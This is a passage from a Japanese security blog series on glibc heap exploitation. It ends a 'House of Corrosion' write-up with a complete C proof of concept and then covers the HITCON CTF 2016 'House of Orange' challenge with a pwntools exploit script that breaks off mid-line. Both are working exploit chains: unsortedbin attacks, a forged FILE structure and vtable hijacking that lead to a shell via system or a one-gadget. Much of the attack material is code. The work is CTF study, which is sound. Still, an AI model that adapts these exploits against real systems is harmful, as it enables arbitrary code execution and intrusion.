これで largebin の検査の際にこのchunkに遭遇すると assert() が起こるようになる
//Connect to largebin with NON_MAINARENA 1 printf("\n* Connecting to largebin...*\n"); free(largebin); malloc(0x500); ((ull*)(((ull)largebin)-0x10))[0] = 0; ((ull*)(((ull)largebin)-0x10))[1] = 0x460|0b101; //set NON_MAIN_ARENA
7: Unsortedbin attack で gmf を書き換える
やるだけなので省略する
尚、全てまとめた完成版のPoCは本エントリの最後に載せてある
8: Unsortedbinのbkを正常のchunkにする
これも先程述べた largebin に関係している
malloc() の際には largebin の探索の前に unsortedbin の探索が走るわけだが
普通に unsortedbin attack をしただけの状態だと unsortedbin->bk は dumped_main_arena_end を指している
そしてこの dumped_main_arena は chunk として見ると bk にNULLが入ってしまっている
よってこれを正常な値にしてやらないと
largebinの探索にまで入らず、 assert() が起こらないことになる
そこでこの辺りをあたかも通常のunsortedであるかのように見せるために、 size と bk に該当する部分を書き換えてやる
// Make unsortedbin's bk VALID printf("\n* Make unsortedbin's bk VALID...*\n"); ADV2(dumped_main_arena_end_chunk, 0x450+0x10, size_dumped_main_arena_end); //size free(pedantic_chunk); //fd/bk printf("dumped_main_arena_end: 0x%016llx 0x%016llx\n",*((ull*)((ull)addr_gmf-0x10)),*((ull*)((ull)addr_gmf-0x8))); printf("global_max_fast : 0x%016llx 0x%016llx\n",*(ull*)addr_gmf, *((ull*)((ull)addr_gmf+0x8)));
9: vtableを始めとするストリームの改竄
あとは ADV2/ADV3 を用いて諸々の書き換えを行うだけである
ADV3では前述した tamper in flight もできるようなマクロを作ってある
まず今回は出力系が生きているため stderr/stdout の mode を1にすることで一旦殺す
(そうしないとストリームを改竄した際にクラッシュする)
その後、_IO_str_overflow() に於いて flags を用いた処理で止まらないように stderr->flagsを0にしておく
また、確実に出力処理がなされるように stderr->_IO_write_ptr を非常に大きな値にしておく
ADV2(stderr_mode_chunk, 0x1, size_stderr_mode); ADV2(stdout_mode_chunk, 0x1, size_stdout_mode); ADV2(stderr_flags_chunk, 0x0, size_stderr_flags); ADV2(stderr_IO_write_ptr_chunk, 0x7fffffffffffffff, size_stderr_IO_write_ptr);
改竄はもう少し続く
stderr->_IO_buf_end には何かしら大きな値を入れておく必要がある (ここの理由がまだ分かってない。。。)
だが後述するように stderr->_IO_buf_base との差分が重要になってくるため、これは既知の値である必要がある
そこで、ここには _morecore に入っている値 (=__default_morecoreのアドレス) を入れておくことにする
また、 _IO_str_overflow() に call rax gadget を呼ばせるのだが
この呼び出しをする際の rax の値が _IO_buf_end - _IO_buf_base になっており、これを onegadget のアドレスにしなければならない
先程 _IO_buf_end には _default_morecore のアドレスを入れたから
ここには __default_morecore と call rax gadget のオフセットを入れておく
尚 __morecore は後でもう一度使うため、もう一度 malloc() することで正常な値を戻しておく
// Transplant __morecore's value to stderr->file._IO_buf_end ADV3(A1,B1,tmp11,0x50,size_stderr_IO_buf_end,size_morecore,0,0); tmp11[1] = (size_morecore+0x10)|1;// morecoreにdefault_morecoreの値を戻しておく A1 = malloc(size_morecore);
あと2点だけ
結局のところやりたいことは
assert() => _IO_file_jumps->_IO_new_file_xsputn
となるところを書き換えて
assert() => _IO_str_jumps->_IO_str_overflow => _allocate_buffer == call rax => onegadget
という流れを作ることである
よって後は _IO_file_jumps を _IO_str_jumps に書き換え、しかも xsputn に該当する部分が _IO_str_overflow に該当するようにずらしておく
そのオフセットは0x20であるから、vtableには _IO_str_jumps-0x20 のアドレスを入れておけば良い
// Write LSByte of _IO_str_jumps on stderr->vtable ADV2_WITH_CHANGE(stderr_vtable_chunk, LSBs_IO_str_jumps, size_stderr_vtable, sizeof(short));
そして最後に _allocate_buffer を onegadget に書き換えてしまえば終わりである
尚この最後の書き換えは tampler in flight を用いて
__default_morecore の下2byteを書き換えることで行う
(このような下2byteの書き換えはPoCの中で3箇所で行われているが、最初の書き換えに成功した時点で残りの書き換えには全て成功するため、結局のところ全体が有するエントロピーは4bitに変わりない)
// Transplant __morecore's value to _s._allocate_buffer ADV3(A2,B2,tmp21,0x90,size_stderr_s_alloc,size_morecore,1,LSBs_call_rax);
さて、長い長い改竄が終わった
以上の書き換えを行うと、 stderr は以下のようになる
10: assert()で発火させる
これらの準備をした上で小さなサイズの malloc() を すると以下の箇所で assert() (_malloc_assert()) が呼ばれる
https://elixir.bootlin.com/glibc/glibc-2.27/source/malloc/malloc.c#L3829
これによって上に示したようなフローで stderr を動かすことができ、シェルが取れるはずである
11: PoC
各Advantageはマクロ化している
DEBUGマクロを外すことで実際のエントロピーを失わずに実験することができる
// House of Corrosion : PoC in the format of how2heap // Even though DEBUG is defined, this exploit has some uncertainity due to the libc load addr's entropy #include<stdio.h> #include<unistd.h> #include<stdlib.h> #include<string.h> #include<assert.h> #define ull unsigned long long #define DEBUG 0 #define WAIT while(fgetc(stdin)!='\n'); //A and tmp1 should be the same except for LSByte #define GET_CLOSE_CHUNK(A,B,tmp1,tmp2,sz,LSB_A,padd_size) \ malloc(padd_size);\ tmp1 = malloc(0x50);\ A = malloc(0x20);\ B = malloc(0x20);\ tmp2 = malloc(0x50);\ assert(((unsigned long)tmp1&0xff)<((unsigned long)A&0xff) && ((unsigned long)tmp1&0xff)<0xa0);\ free(tmp1);\ free(tmp2);\ ((char*)tmp2)[0] = LSB_A;\ tmp2 = malloc(0x50);\ tmp1 = malloc(0x50);\ printf("[-]tmp1: %p\n",tmp1);\ printf("[-]tmp2: %p\n",tmp2);\ tmp1[1] = (sz+0x10)|1;\ tmp1[6] = 0;\ tmp1[7] = (sz+0x10)|1;\ printf("[-]A: %p\n",A);\ printf("[-]B: %p\n",B); #define ADV2(chunk,value,size) \ free(chunk);\ chunk[0] = value;\ malloc(size); #define ADV2_WITH_CHANGE(chunk, value, size, value_size)\ free(chunk);\ if(value_size == 0x2) ((short*)chunk)[0] = value;\ else {printf("ERROR\n"); exit(0);}\ chunk = malloc(size); #define ADV3(chunkA, chunkB, tmp, LSB_A, size_DST, size_SRC, tamper_flight_flag, tamper_value)\ free(chunkB);\ free(chunkA);\ ((char*)chunkA)[0] = LSB_A;\ chunkA = malloc(size_DST); \ tmp[1] = (0x10 + size_SRC)|1; \ free(chunkA); \ tmp[1] = (0x10 + size_DST)|1; /* to avoid corruption detection */\ if(tamper_flight_flag==1) ((short*)chunkA)[0] = tamper_value;\ chunkA = malloc(size_DST); //This 3 variables must be set (have the same 4-bit entropy) void *LSBs_gmf = 0xc940; //global_max_fast: 4nibble目は適当 void *LSBs_IO_str_jumps = 0x7360-0x20; // -0x20 is NEEDED to call _IO_str_overflow instead of xsputn void *LSBs_call_rax = 0xc610;; // this must be nearby default_morecore void *off_gmf_libcbase = 0x3ed940; void *off_stdout_libcbase = 0x3ec760; void *off_arena_libcbase = 0x3ebc40; ull off_fastbinY_stderr = 0xa28; unsigned size_formula(unsigned long delta){ return (unsigned)(delta*2 + 0x20); } int main(int argc, char *argv[]) { WAIT // Calc and get some addrs char num; void *addr_stdout = stdout; void *libcbase = addr_stdout - off_stdout_libcbase; ull *addr_IO_file_jumps = 0x3e82a0 + (ull)libcbase; void *addr_gmf = (ull)off_gmf_libcbase + (ull)libcbase; void *addr_main_arena = (ull)libcbase + (ull)off_arena_libcbase; ull *addr_IO_str_overflow = (ull)libcbase + 0x8ff60; ull addr_IO_str_jumps = (ull)libcbase + 0x3e8360; ull addr_call_rax = (ull)libcbase + 0x8d610; void *addr_fastbinY = (ull)addr_main_arena + 0x60; ull *A1,*B1,*A2,*B2,*tmp11,*tmp21,*temp12,*tmp22,*padd, *chunk_fake_size; ull *dumped_main_arena_end_chunk, *pedantic_chunk; ull *stderr_mode_chunk, *stderr_flags_chunk, *stderr_IO_buf_base_chunk, *stderr_IO_write_ptr_chunk, *stderr_s_alloc_chunk, *stderr_vtable_chunk; ull *stdout_mode_chunk; ull temp; ull *temp_ptrs[10]; unsigned sz1=size_formula(off_fastbinY_stderr+0x60); unsigned size_dumped_main_arena_end = size_formula(0x1ce0); //WHY 8?? unsigned size_stderr_flags = size_formula(0xa30) - 0x8; unsigned size_stderr_mode = size_formula(0xa30+0xc0) - 0x8; unsigned size_stderr_IO_buf_base = size_formula(0xa30+0x38 - 0x8); unsigned size_stderr_IO_write_ptr = size_formula(0xa30+0x28 - 0x8); unsigned size_stderr_IO_buf_end = size_formula(0xa30+0x30 + 0x8); unsigned size_stderr_vtable = size_formula(0xa30+0xd8 - 0x8); unsigned size_stderr_s_alloc = size_formula(0xa30+0xe0 - 0x8); unsigned size_stdout_mode = size_formula(0xb10 + 0xc0 - 0x8); unsigned size_morecore = size_formula(0x888-0x8); //WHY 8?? ull *onegadget = 0x00021b95; unsigned off_default_morecore_onegadget = 0x4becb; printf("House of Corrosion : PoC\n"); printf("___________________________________\n\n"); printf("__LIBC INFO__\n"); printf("libcbase : %p\n",libcbase); printf("mainarena: %p\n",addr_main_arena); printf("fastbinsY: %p\n",addr_fastbinY); printf("global_max_fast: %p\n",addr_gmf); printf("call rax: %p\n",addr_call_rax); printf("___________________________________\n\n"); // Alloc some chunks printf("* Preparing for some chunks ...*\n"); ull *a = malloc(0x450); //for unsortedbin attack targeting at global_max_fast ull *padding = malloc(0x20); ull *largebin = malloc(0x450); //for largebin chunk with NON_MAINARENA which would cause assert() later ull *avoid_consolidation = malloc(0x110-0x30); // Prepare for Advantage 3 /* LSB SENSITIVE !!! */ GET_CLOSE_CHUNK(A1,B1,tmp11,tmp21,size_stderr_IO_buf_end,0x50,0x90); GET_CLOSE_CHUNK(A2,B2,tmp21,tmp22,size_stderr_s_alloc,0x90,0x0); chunk_fake_size = malloc(sz1 + 0x100); //make fake size for fake fastbin's next chunk for(int ix=0;ix!=(sz1+0x100)/0x10;++ix){ *(chunk_fake_size+0+ix*2) = 0x0; *(chunk_fake_size+1+ix*2) = 0x30|1; } //Malloc chunks for Advantage2 dumped_main_arena_end_chunk = malloc(size_dumped_main_arena_end); pedantic_chunk = malloc(size_formula(0x1cf8)-0x8); stderr_mode_chunk = malloc(size_stderr_mode); stderr_flags_chunk = malloc(size_stderr_flags); stderr_IO_write_ptr_chunk = malloc(size_stderr_IO_write_ptr); stderr_IO_buf_base_chunk = malloc(size_stderr_IO_buf_base); stderr_vtable_chunk = malloc(size_stderr_vtable); stdout_mode_chunk = malloc(size_stdout_mode); printf("[*]DONE\n"); //Connect to largebin with NON_MAINARENA 1 printf("\n* Connecting to largebin...*\n"); free(largebin); malloc(0x500); ((ull*)(((ull)largebin)-0x10))[0] = 0; ((ull*)(((ull)largebin)-0x10))[1] = 0x460|0b101; //set NON_MAIN_ARENA printf("[*]DONE\n"); //Unsortedbin Attack printf("\n* Doing unsortedbin attack agains global_max_fast...*\n"); free(a); a[0] = 0xfffff; //victim->fd #ifndef DEBUG for(int ix=0;ix!=2;++ix){ //victim->bk temp = (unsigned long long)LSBs_gmf >> (8*ix); num = temp % 0x100; if(ix==0) num -= 0x10; *(char*)((unsigned long long)a+8+ix) = num; } #else for(int ix=0;ix!=8;++ix){ //libcの情報からgmfを計算しているため100%正確な位置に書き込める。 いちいちデバッグでbrute-forceめんどいから temp = (unsigned long long)addr_gmf >> (8*ix); num = temp % 0x100; if(ix==0) num -= 0x10; *(char*)((unsigned long long)a+8+ix) = num; } //calculate the 100% accurate LSbytes LSBs_IO_str_jumps = (addr_IO_str_jumps-0x20)&0xffff; LSBs_call_rax = addr_call_rax&0xffff; #endif malloc(0x450); //unsorted attack!! //Check whether the unsorted attack is success or not if(*((ull*)addr_gmf) != (ull)addr_main_arena + 96){ printf("\n\n[-]FAIL: unsortedbin attack\n"); exit(0); }else{ printf("[!]SUCCESS: unsortedbin attack\n"); } // Make unsortedbin's bk VALID printf("\n* Make unsortedbin's bk VALID...*\n"); ADV2(dumped_main_arena_end_chunk, 0x450+0x10, size_dumped_main_arena_end); //size free(pedantic_chunk); //fd/bk printf("dumped_main_arena_end: 0x%016llx 0x%016llx\n",*((ull*)((ull)addr_gmf-0x10)),*((ull*)((ull)addr_gmf-0x8))); printf("global_max_fast : 0x%016llx 0x%016llx\n",*(ull*)addr_gmf, *((ull*)((ull)addr_gmf+0x8))); // Overwrite vtable and so on printf("\n* Overwriting some addrs...*\n"); printf("HOWEVER, I can't speak from now on due to the corruption.\n"); printf("Wish you can get shell, bye.\n\n"); ADV2(stderr_mode_chunk, 0x1, size_stderr_mode); ADV2(stdout_mode_chunk, 0x1, size_stdout_mode); ADV2(stderr_flags_chunk, 0x0, size_stderr_flags); ADV2(stderr_IO_write_ptr_chunk, 0x7fffffffffffffff, size_stderr_IO_write_ptr); ADV2(stderr_IO_buf_base_chunk, off_default_morecore_onegadget, size_stderr_IO_buf_base); // Transplant __morecore's value to stderr->file._IO_buf_end ADV3(A1,B1,tmp11,0x50,size_stderr_IO_buf_end,size_morecore,0,0); tmp11[1] = (size_morecore+0x10)|1;// morecoreにdefault_morecoreの値を戻しておく A1 = malloc(size_morecore); // Write LSByte of _IO_str_jumps on stderr->vtable ADV2_WITH_CHANGE(stderr_vtable_chunk, LSBs_IO_str_jumps, size_stderr_vtable, sizeof(short)); // Transplant __morecore's value to _s._allocate_buffer ADV3(A2,B2,tmp21,0x90,size_stderr_s_alloc,size_morecore,1,LSBs_call_rax); //Trigger assert() malloc(0x50); printf("You won't reach here. Can you get a shell??"); return 0; }
12: 結果
5回に1回程度成功し、それ以外は SegmentationFault になる
13: アウトロ
ファイルストリーム系の理解が甘いために曖昧な説明になってしまった部分が多いのが情けない
以降は一旦heap系は置いておいて、ファイルストリーム系を勉強し直そうと思う
続く
【pwn 18.0】House of Orange - HITCON CTF 2016
0: 参考
1: イントロ
今更2016年のこの超有名問題を解くというのも懐古厨臭さが否めない
heap問題を解き始めたくらいのときに出会って当時はよくわからず放置していたが
この問題を解いていないことが無性に恥ずかしくなったためさっさと解いてしまうことにする
但し目的はHouser of Orangeの手法のおさらいであり
そのPoCを兼ねて HITCON CTF 2016 の pwn500点問題 "House of Orange" を解くという形である
(と最初は思っていたが、HoOを使った後のほうが格段に難しかった)
2: House of Orange
Recquirements
- glibc ver 2.26未満
- top chunkが以下の条件を全て満たすこと
・size >= MINSIZE(0x10)
・size < MINSIZE + user recquired chunk size
・PREV_INUSEが立っている
・top addr + top size が4KB(1P) alignされていること (つまりアドレスの下3nibbleが000であること)
- 以上の条件を満たせるように
・topのsizeをoverwriteできるようなバグがあること
・ある程度任意サイズのchunkをmalloc()できること
概要
Houser of Orangeは2016年HITCONで出題された問題の名を冠するheapテクニックである
free()を任意に呼び出すことができない状態で、topをunsortedに繋ぐことを目的としている
(その後のunsorted attack -> _IO_list_all書き換えまでの流れを含むのかどうかはわからない)
解説
方法自体は難しいことはなく
topのsizeを小さく書き換えて、次のmalloc()でbrk()を呼ぼうぜというだけ
但しあまりにでかいmalloc()をするとmmap()されるため注意
特筆すべきことはないが以下のページに詳しくまとまっている
3: PoC = HITCON2016
表層解析
./houseoforange: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.32, BuildID[sha1]=a58bda41b65d38949498561b0f2b976ce5c0c301, stripped
Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled FORTIFY: Enabled
GNU C Library (Ubuntu GLIBC 2.23-0ubuntu3) stable release version 2.23, by Roland McGrath et al
name bufを任意サイズでmallocする "build" と
確保したname bufに改めてread()する "update" という2つの操作があり
前者は4回、後者は3回のみ行うことができる
なお配布libcは2.23であるためDocker環境を用意して
その中にpwndbg等を入れてデバッグできるようにした
とっかかりの脆弱性
1=non-NULL terminated input
nameの入力時にread()を用いており入力がNULL終端されない
2=heap overflow
CTFなんてのはupdate()的な関数があったらまぁそこに自明な脆弱性がある
printf("Length of name :"); l20_len_name = read_int(); if (0x1000 < l20_len_name) { l20_len_name = 0x1000; } printf("Name:"); read_check(303068_cur_house->name,(ulong)l20_len_name);
update()に於いてbuild()時に確保したname bufに対してそのsizeを超えるような入力が可能になっている
ここでname bufのheap overflowが可能
libc_baseのleak (HoO)
これらの脆弱性を使うと以下のことが可能
・name bufのほぼ任意サイズのoverflowが可能(4回)
・故にname bufより上位アドレスのleakが可能(4回)
まず適当なname bufを作ってupdateし(1消費)、name bufのoverflowを用いてHouse of Orangeをする
直後に大きめのオレンジを作って_int_free()を呼び出し、topをunsortedに繋げる
続いてupdateしてHoOにより出現したmain_arenaのアドレスをleakする(2消費)
この時点で残りは update:1回 build:1回 である
unsortedのfdを書き換えるのにupdateを1回消費し
書き換えた先に書き込むのにbuildを1回消費してしまうため
unsortedのガード機構をごまかすための手段がない
そもそもそこを書き換えられたとしても
malloc()を呼ぶ手段すらなくなってしまうためone gadgetを発火させる手段がない
libc_baseのleakまでは簡単だったが、ここからの展開が思いつかない。。。
ということでここでangelboyさんのwriteupをカンニングした
abort()からの攻撃の概略
先程、memmory corruptionが起きてしまうから先に進めないと言ったが
このcorruptionによって呼ばれるabort()を利用してexploitを展開していく
_int_malloc()はcorruptionを検知した時 malloc_printerr() を呼ぶ
https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/malloc.c#L3470
*** Error in `./houseoforange': malloc(): memory corruption: 0x00005567aa4e6540 *** ======= Backtrace: ========= /lib/x86_64-linux-gnu/libc.so.6(+0x777e5)[0x7f9fa99767e5] /lib/x86_64-linux-gnu/libc.so.6(+0x8213e)[0x7f9fa998113e] /lib/x86_64-linux-gnu/libc.so.6(__libc_malloc+0x54)[0x7f9fa9983184] ./houseoforange(+0xd6d)[0x5567a849ad6d] ./houseoforange(+0x1402)[0x5567a849b402] /lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf0)[0x7f9fa991f830] ./houseoforange(+0xb19)[0x5567a849ab19] ======= Memory map: ======== 5567a849a000-5567a849d000 r-xp 00000000 08:01 1629013 /home/ctf/houseoforange 5567a869c000-5567a869d000 r--p 00002000 08:01 1629013 /home/ctf/houseoforange 5567a869d000-5567a869e000 rw-p 00003000 08:01 1629013 /home/ctf/houseoforange 5567aa4e6000-5567aa529000 rw-p 00000000 00:00 0 [heap] 7f9fa4000000-7f9fa4021000 rw-p 00000000 00:00 0 7f9fa4021000-7f9fa8000000 ---p 00000000 00:00 0 7f9fa96e9000-7f9fa96ff000 r-xp 00000000 08:01 1452979 /lib/x86_64-linux-gnu/libgcc_s.so.1 7f9fa96ff000-7f9fa98fe000 ---p 00016000 08:01 1452979 /lib/x86_64-linux-gnu/libgcc_s.so.1 7f9fa98fe000-7f9fa98ff000 rw-p 00015000 08:01 1452979 /lib/x86_64-linux-gnu/libgcc_s.so.1 7f9fa98ff000-7f9fa9abf000 r-xp 00000000 08:01 1452958 /lib/x86_64-linux-gnu/libc-2.23.so 7f9fa9abf000-7f9fa9cbf000 ---p 001c0000 08:01 1452958 /lib/x86_64-linux-gnu/libc-2.23.so 7f9fa9cbf000-7f9fa9cc3000 r--p 001c0000 08:01 1452958 /lib/x86_64-linux-gnu/libc-2.23.so 7f9fa9cc3000-7f9fa9cc5000 rw-p 001c4000 08:01 1452958 /lib/x86_64-linux-gnu/libc-2.23.so 7f9fa9cc5000-7f9fa9cc9000 rw-p 00000000 00:00 0 7f9fa9cc9000-7f9fa9cef000 r-xp 00000000 08:01 1452938 /lib/x86_64-linux-gnu/ld-2.23.so 7f9fa9ee6000-7f9fa9ee9000 rw-p 00000000 00:00 0 7f9fa9eed000-7f9fa9eee000 rw-p 00000000 00:00 0 7f9fa9eee000-7f9fa9eef000 r--p 00025000 08:01 1452938 /lib/x86_64-linux-gnu/ld-2.23.so 7f9fa9eef000-7f9fa9ef0000 rw-p 00026000 08:01 1452938 /lib/x86_64-linux-gnu/ld-2.23.so 7f9fa9ef0000-7f9fa9ef1000 rw-p 00000000 00:00 0 7ffe2a452000-7ffe2a473000 rw-p 00000000 00:00 0 [stack] 7ffe2a578000-7ffe2a57b000 r--p 00000000 00:00 0 [vvar] 7ffe2a57b000-7ffe2a57d000 r-xp 00000000 00:00 0 [vdso] ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]
上のエラーメッセージは malloc_printerr()内の__libc_message ()に於いて表示される
今回は以下のような引数で呼ばれていた
(本来はmalloc_printerr()内から呼ばれるのだが、案の定インラインになっててデバッグしにくいっすね。。。)
► 0x7f41edce2139 <_int_malloc+1465> call __libc_message <0x7f41edcd7510> rdi: 0x2 rsi: 0x7f41eddf0ed8 ◂— sub ch, byte ptr [rdx] /* "*** Error in `%s': %s: 0x%s ***\n" */
今回はdo_abort==2で呼ばれているため以下のif branchでabort()が呼ばれる
https://elixir.bootlin.com/glibc/glibc-2.23/source/sysdeps/posix/libc_fatal.c#L170
(abort()を呼ぶ前にBEFORE_ABORTというマクロでbefore_abort()という空っぽの関数を呼んでいる)
さて、abort()@stdlibに入っていく
https://elixir.bootlin.com/glibc/glibc-2.23/source/stdlib/abort.c#L49
abortにはいくつかのstageがあるのだが
今回は stage1 に注目する
(その他のstageについては今後まとめられたらまとめる)
stage1 ではいくつかのインライン関数を経て _IO_flush_all_lockp() が呼ばれる
https://elixir.bootlin.com/glibc/glibc-2.23/source/libio/genops.c#L759
重要な部分を抜き出すと以下のようになる
int _IO_flush_all_lockp (int do_lock) { int result = 0; struct _IO_FILE *fp; int last_stamp; fp = (_IO_FILE *) _IO_list_all; while (fp != NULL) { run_fp = fp; if (do_lock) _IO_flockfile (fp); if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base) //...★ #if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T || (_IO_vtable_offset (fp) == 0 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)) #endif ) && _IO_OVERFLOW (fp, EOF) == EOF) result = EOF; (... snipped ...) if(...){ ... }else{ fp = fp->_chain; } }
_IO_list_all は以下のように定義される、_IO_FILE_plus構造体へのポインタである
DEF_STDFILE(_IO_2_1_stdin_, 0, 0, _IO_NO_WRITES); DEF_STDFILE(_IO_2_1_stdout_, 1, &_IO_2_1_stdin_, _IO_NO_READS); DEF_STDFILE(_IO_2_1_stderr_, 2, &_IO_2_1_stdout_, _IO_NO_READS+_IO_UNBUFFERED); struct _IO_FILE_plus *_IO_list_all = &_IO_2_1_stderr_;
最初は stderr を指している
_IO_FILE_plus は _IO_FILE構造体とvtableを持つ構造体であった
おさらいとしてstderrを見てみると以下のようになっている
_chain変数は次の_IO_FILE_plus構造体を指しており、単方向リストを構成している
注目は 最後のvtableである
以下の様に定義されており、FILE構造体に結びついたハンドラのポインタが入っている
https://elixir.bootlin.com/glibc/glibc-2.23/source/libio/libioP.h#L307
試しに stderr のvtableを見てみると以下のようになっている
話を_IO_flush_all_lockp() に戻そう
fpには_IO_list_allが、すなわちstderrのアドレスが入っており
while文の末尾に於いてどんどんイテレートされていく
注目すべきは★のif文である
&&で結ばれた条件式があり、後者では_IO_OVERFLOW (fp, EOF) == EOFが評価される
_IO_OVERFLOWはいくらかのマクロを経た後に
fpの指す_IO_FILE_plusのvtableに入った__overflow関数が呼ばれることになる
まとめると
「memmory corruptionによってabort()が呼ばれて本来プログラムはオチるのだが
その際に_IO_list_allに登録された_IO_FILE_plus達のvtableの__overflowが呼ばれる」
よって今回はこの__overflowエントリをonegadgetsに書き換えることを目指す
unsortedbin attack
典型的なunsortedbin attackによって任意アドレスの8byteを書き換えることができる
今回は__IO_list_allを書き換えて、自分で作ったfake _IO_FILE_plusを指すようにしたい
任意アドレス書き換えは_int_malloc()に於いてunsortedをlistから外す際に行われる
https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/malloc.c#L3515
/* remove from unsorted list */ unsorted_chunks (av)->bk = bck; bck->fd = unsorted_chunks (av);
よって「unsorted chunkのbk」(=bck)を_IO_list_all-0x10にしておくことで
(_IO_list_all-0x10)->fd = _IO_list_all がmain_arenaのunsorted_chunkを指すように書き換わる
(2.27以降のlibcでは双方向リストのチェックが行われるため unsortedbin attack, House of Orangeともに使用できなくなっている。悲しいね)
逆に言えば、任意アドレスを書き換えることはできるが、あくまで書き換え先はこのアドレスにすることしかできない
_IO_FILE_plusのforge
_IO_list_allを書き換えたのだから、この固定アドレスは_IO_FILE_plusとして見られることになる
それでは何もしない状態ではどうなっているか見てみよう
以下はunsortedbin attack直後の状態である
そりゃあ、まあ、ぐちゃぐちゃになっている
但しここで注目すべきは、fpをイテレートする際に次のfpとなる__chainの値が _chain = 0x559fe67365e0 になっていること
これは以下の画像が示すとおりsmallbinsを指している
そしてこのsmall chunkはupdate()によってあと1回だけなら好きに編集することができる
よって、1回目のfpは捨てて、2回目のfpに於いて自作_IO_FILE_plusを用いて_IO_OVERFLOWを呼ぶことを目指す
ここで_IO_OVERFLOWが呼ばれる文脈を振り返ってみると、_IO_OVERFLOWが評価されるためには以下の条件の前者が満たされることが必要であった
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base) //...★ #if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T || (_IO_vtable_offset (fp) == 0 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)) #endif ) && _IO_OVERFLOW (fp, EOF) == EOF)
今回は fp->mode<=0 && fp->_IO_write_ptr > fp->_IO_write_base を満たすように調整する
それからvtable_offsetなどの正常な値であることが必要な部分も随時調整し
leakしたheap addrをもとにvtableのアドレスも計算して上書きしておき
vtableの__overflowエントリだけsystem(若しくはonegadget)を指すようにしておく
このようにして調整した forged _IO_FILE_plus は以下のようになった
ということで準備は全て完了した
update()によってheapの状態を整えた後にbuild()を呼ぶと
_int_malloc()のunsortebinの処理for(;;)に於いて
1巡目: _IO_list_allをmain_arenaを指すようにunsortedbin attack
2巡目: memorry corruptionを検知してabort()される
--> forged _IO_FILE_plusのvtableの__overflowが呼ばれてonegadgetが発火
4: exploit
#using glibc v2.23 on Ubuntu 16.04 #This exploit has some uncertainity due to the leaked heap address. When its last one byte is 0x00, exploit would collapse. #!/usr/bin/env python #encoding: utf-8; from pwn import * import sys FILENAME = "houseoforange" rhp2 = {'host':"localhost",'port':7777} context(os='linux',arch='amd64') binf = ELF(FILENAME) off_libc_arena = 0x3C4B20 off_libc_mallochook = 0x3C4B10 off_libc_IOlistall = 0x3C5520 off_libc_system = 0x45390 update_num = 0 update_max = 3 build_num = 0 build_max = 4 def hoge(conn,num): conn.recvuntil("Your choice : ") conn.sendline(str(num)) def build(conn,length,name,price,color): global build_max global build_num if build_max -1 == build_num: print("TOO MUCH build") raw_input("ENTER TO EXIT") exit(1) build_max += 1 hoge(conn,1) conn.recvuntil("Length of name :") conn.sendline(str(length)) conn.recvuntil("Name :") conn.send(name) conn.recvuntil("Price of Orange:") conn.sendline(str(price)) conn.recvuntil("Color of Orange:") conn.sendline(str(color)) def see(conn): hoge(conn,2) def update(conn,length,name,price,color): global update_max global update_num if update_max -1 == update_num: print("TOO MUCH UPDATE") raw_input("ENTER TO EXIT") exit(1) update_max += 1 hoge(conn,3) conn.recvuntil("Length of name :") conn.sendline(str(length)) conn.recvuntil("Name:") conn.send(name) conn.recvuntil("Price of Orange: ") conn.sendline(str(price)) conn.recvuntil("Color of Orange: ") conn.sendline(str(color)) def giveup(conn): hoge(conn,3) def exploit(conn): #invoke _int_free() Asize = 0x100 Fsize = 0x1000 Gsize = 0x400 LSBs = 0xeb1 build(conn,Asize,"A"*Asize,100,1) payload = "B"*Asize + "C"*0x8 + p64(0x21) + p32(2) + p32(0xc8) + "D"*0x8 + p64(0) + p64(LSBs) update(conn,len(payload),payload,200,2) #overwrite top size build(conn,Fsize,"F"*0x20,200,3) #invoke brk() and _int_free() (HoO) build(conn,Gsize,"G"*0x8,200,3) #split the unsorted #leak libc_base see(conn) #leak main_arena+1640 conn.recvuntil("Name of house : " + "G"*0x8) mainarena = unpack(conn.recvline().rstrip().ljust(8,'\0')) - 1640 libcbase = mainarena - off_libc_arena malloc_hook = libcbase + off_libc_mallochook IO_list_all = libcbase + off_libc_IOlistall system = libcbase + off_libc_system print("[+]main_arena: "+hex(mainarena)) print("[+]libc base: "+hex(libcbase)) print("[+]malloc_hook: "+hex(malloc_hook)) print("[!]IO_list_all: "+hex(IO_list_all)) print("[!]system: "+hex(system)) #leak heap_addr update(conn,0x20,"H"*0x10,900,1) see(conn) conn.recvuntil("Name of house : " + "H"*0x10) heap_addr = unpack(conn.recvline().rstrip().ljust(8,'\0')) print("[+]heap_addr: "+hex(heap_addr)) info_addr = heap_addr + 0x460 print("[+]info_addr: "+hex(info_addr)) # injected_addr = heap_addr #smallbin we can manipulate vtable_addr = injected_addr + 0x600 onegadget = libcbase + 0x45216 print("[+]vtable_addr: "+hex(vtable_addr)) payload = p8(0x71)*(Gsize + 0x20) fake_file = "/bin/sh\0" + p64(0x61) #_IO_list_all would be overwriten to point to main_arena+88. When we look it as _IO_FILE*, its _chain would become here fake_file += p64(0x0) #fd fake_file += p64(IO_list_all-0x10) #bk fake_file += p8(0)*(0x20-len(fake_file)) fake_file += p64(0x10) #char *_IO_write_base fake_file += p8(0)*(0x28-len(fake_file)) fake_file += p64(0x100) #char *_IO_write_ptr fake_file += p8(0)*(0x82-len(fake_file)) fake_file += p8(0) #signed char _vtable_offset fake_file += p8(0)*(0xc0-len(fake_file)) fake_file += p32(0xffffffff) #int mode fake_file += p8(0)*20 #unused fake_file += p64(vtable_addr) payload += fake_file payload += p8(0)*(0x600 - len(payload) - 0x10) payload += p64(0)*3 #payload += p64(onegadget) #either do I payload += p64(system) update(conn,0x800,payload,10,1) print("[-]payload length: "+hex(len(payload))) hoge(conn,1) if len(sys.argv)>1: if sys.argv[1][0]=="d": cmd = """ set follow-fork-mode parent """ conn = gdb.debug(FILENAME,cmd) elif sys.argv[1][0]=="r": conn = 